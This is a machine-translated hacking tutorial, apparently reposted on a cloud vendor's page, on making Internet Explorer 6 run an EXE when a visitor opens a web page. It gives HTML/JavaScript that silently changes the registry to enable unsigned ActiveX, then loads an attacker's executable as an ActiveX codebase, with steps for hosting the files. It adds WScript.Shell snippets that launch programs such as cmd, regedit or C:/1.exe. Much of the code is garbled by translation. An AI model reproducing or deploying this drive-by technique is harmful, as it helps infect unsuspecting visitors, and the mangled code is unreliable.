Webpage that allows ie6.0 to execute the EXE file
Speaking of how to execute an EXE file in the space when the web page allows ie6.0 to browse, it is totally different from the 5.0 method previously written, the overall idea of 5.0 is to use an HTML file to drive 1
An EML file with the beginning of an error allows IE to unconditionally execute the attachment in the EML. However, when we upgrade IE to 6.0, after opening this page, we will find an open interface in windows.
The previous code for ie5.0 is invalid.
Next let's take a look at how to let 6.0 execute an EXE file in the same path of our space. The method is roughly when the user opens the first HTML page, use malicious HTML code to set the default
The option "Disable unsigned ActiveX control" is changed to "enable unsigned ActiveX control ", then immediately open the second HTML file. The content is to download an unsigned ActiveX control. The essence is that we
The EXE file to be executed. Now let's talk about the specific creation steps.
[Step 1] Create A 1. htm file with the following content:
<SCRIPT>
Document. Write ("");
Function f (){
Try
{
// ActiveX Initialization
A1 = Document. Applets [0];
A1.setclsid ("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B }");
A1.createinstance ();
SHL = a1.getobject ();
A1.setclsid ("{0d43fe01-f093-11cf-8940-00a0c9054228 }");
A1.createinstance ();
FSO = a1.getobject ();
A1.setclsid ("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B }");
A1.createinstance ();
Net = a1.getobject ();
Try
{
If (events. Cookie. indexof ("chg") =-1)
{
SHL. regwrite ("hkcu // software // Microsoft // windows // CurrentVersion // Internet Settings // zones // 3 // 1004", 0, "REG_DWORD ");
VaR expdate = new date (). gettime () + (1 ));
Documents. Cookie = "chg = General; expires =" + expdate. togmtstring () + "; Path = /;"
}
}
Catch (E)
{}
}
Catch (E)
{}
}
Function Init ()
{
SetTimeout ("F ()", 1000 );
}
Init ();
<Script language = "JavaScript">
Here, we need to note that "http://xiaomutou.163.com/2.htm', 'colortext')" in "window. Open ('HTTP: // xiaomutou.diy.163.com/2.htm?to be changed
The path of the home page space. The "1500" of "setTimeout (" opencolortext () ", 1500)" is the 2. htm file to be created after the delay of 1.5 seconds. Okay. Let's do this now. 2. htm.
The content is as follows:
<Script language = JavaScript>
Run_exe = ""
Run_exe + ="
";
Document. open ();
Document. Clear ();
Document. writeln (run_exe );
Document. Close ();
Do not stop connecting to the forum ....
Note: In the code, "run_exe + =" codebase =/"3.exe# version =,/"> "" 3. EXE "is your EXE file in the same path to be executed by IE in the future.
As for the connection to the Forum, do not stop it. If you are confused about the other party, you can change it to yourself.
Now, upload the 1.htm, 2. htm and the EXE files we want to execute to the home page.
Now let's use ie6.0 to directly browse this 1. HTM files. When the page is opened for 1-2 seconds, another blank page should be automatically opened, and your EXE file will be executed. Note that the files to be placed are not
Too large, preferably within K
========================================================== ========
Here is an example:
Directly call the graphic board in windows. Others are similar.
<Script language = "VBScript">
Dim objshell
Set objshell = Createobject ("wscript. Shell ")
Objshell. Run "% SystemRoot %/system32/mspaint.exe", 1, false
Set objshell = nothing
</SCRIPT>
If you are registering a component, you can use the following methods:
Regsvr32 dllname
<HTML>
<Head>
<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312">
<Style>
<! --
Body, table, P, TD, Div, select {Font: menu}
. Button {boder: 0; Height: 20px; width: 60px; cursor: hand; Font: menu}
-->
</Style>
</Head>
<Body>
<Script language = JavaScript>
Function run (strpath ){
EXE. value = strpath;
Try {
VaR objshell = new activexobject ("wscript. Shell ");
Objshell. Run (strpath );
Objshell = NULL;
}
Catch (e) {alert ('file not found "'+ strpath +'" (or one of its components ). Make sure that the path and file name are correct and the required library files are available. ')
}
}
</SCRIPT>
Enter the program to run: <br/> <input name = EXE type = text size = 20 value = "Regedit">
<Button class = button onclick = "Run (exe. Value)"> OK </button>
<Button class = button onclick = exe. value = "";> re-input </button> <br/>
<Button class = button onclick = "Run ('notepad ')"> notepad </button> <br/>
<Button class = button onclick = "Run ('mspaint')"> graphic Board </button> <br/>
<Button class = button onclick = "Run ('calc')"> calculator </button> <br/>
<Button class = button onclick = "Run ('cmd')"> CMD </button> <br/>
<Button class = button onclick = "Run ('regedit ')"> Regedit </button> <br/>
<Button class = button onclick = "Run ('msconfig')"> msconfig </button> <br/>
<Button class = button onclick = "Run ('iexplore. EXE ')"> ie </button> <br/>
<Button class = button onclick = "Run ('..')">... </button> <br/>
<Button class = button onclick = "Run ('% WINDIR %')"> % WINDIR % </button> <br/>
<Button class = button onclick = "Run ('% Temp %')"> % Temp % </button> <br/>
<Div style = "position: absolute; bottom: 10; left: 0; width: 150; Height: 18; cursor: hand; Z-index: 100000; Font: menu; background: infobackground; Border: 1 solid #999999; padding: 4px; ">
<Input type = "button" name = "button" value = "source code" onclick = 'window. Location = "view-source:" + window. Location. href '>
</Div>
</P>
</Body>
</Html>
========================================================== ======================================
Use the following code and save the file as *. HTA suffix.
<Body onload = "window. Opener = NULL; window. Close ();">
</Body>
<Script language = "VBScript">
Dim wshshell
Set wshshell = Createobject ("wscript. Shell ")
Wshshell. Run ("C:/1.exe ")
</SCRIPT>
========================================================== ======================================
Wsh preliminary
Next, let's take a look at some preliminary wsh instances. Each instance can implement a simple function. After we understand the features of each instance, we will combine these examples into a very practical script to help you implement practical and personalized powerful functions.
1. create shortcuts on the desktop
Wshshell = wscript. Createobject ("wscript. Shell ");
Export toppath = wshshell. specialfolders ("desktop ");
Shortcut1 = wshshell. createshortcut (export toppath + "// notepad shortcut. lnk ");
Shortcut1.targetpath = "C: // windows // notepad.exe ";
Shortcut1.save ();
The specialfolders function is used to read the desktop path. After obtaining the desktop path, create a "/notepad shortcut" on the desktop. lnk "file, and directed the target of this square file to notepad.exe, and finally save the information, this script is complete.
2. Execute specific commands
The following example uses notepad to open the "C:/autoexec. Bat" file, and opens the DOS command window (and lists the results of executing dir C:/Windows). The program code is as follows:
// Generate wsh Shell
Shell = wscript. Createobject ("wscript. Shell ");
// Enable notepad and load C:/autoexec. bat
Shell. Run ("notepad.exe C: // autoexec. Bat ");
// Open the DOS command window and execute dir C:/Windows
Shell. Run ("CMD/K dir C: // windows ");
In the preceding example, the enabled application remains open, and wsh continues to execute the subsequent program code. If you want to continue executing the wsh program code after the application is closed, you can add other parameters after run. What should we do if we need to stop executing notepad?
// How to run other applications by wsh, and continue to execute wsh program code after the application ends
Shell = new activexobject ("wscript. Shell ");
Intreturn = shell. Run ("Notepad" + wscript. scriptfullname, 1, true );
Shell. Popup ("Notepad has been closed! ");
========================================================== ======================================
<Script language = "VBScript">
Set objshell = Createobject ("wscript. Shell ")
Strcommand = "C:/1.exe"
Objshell. Run strcommand, 0, true
</SCRIPT>
========================================================== ========================
CHR (34) is a double quotation mark. After adding the path, you can directly start the EXE file. Spaces can also be opened.
<Script language = "VBScript">
Set objshell = Createobject ("wscript. Shell ")
Strcommand = CHR (34) & "C:/program files/editplus 2/editplus.exe" & CHR (34)
Objshell. Run strcommand, 0, true
</SCRIPT>
If this is the case, you may not be able to open it. You may set to enable ActiveX disabling in IE.
Strcommand = "sndrec32/play/Close" & CHR (34) & strsoundfile & CHR (34)
The sndrec32 is the recorder that comes with window, and then uses it to start the file whose path is strsoundfile.
Common EXE files are used.
<Script language = "VBScript">
Set objshell = Createobject ("wscript. Shell ")
Strcommand = CHR (34) & "C:/program files/editplus 2/editplus.exe" & CHR (34)
Objshell. Run strcommand, 0, true
</SCRIPT>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
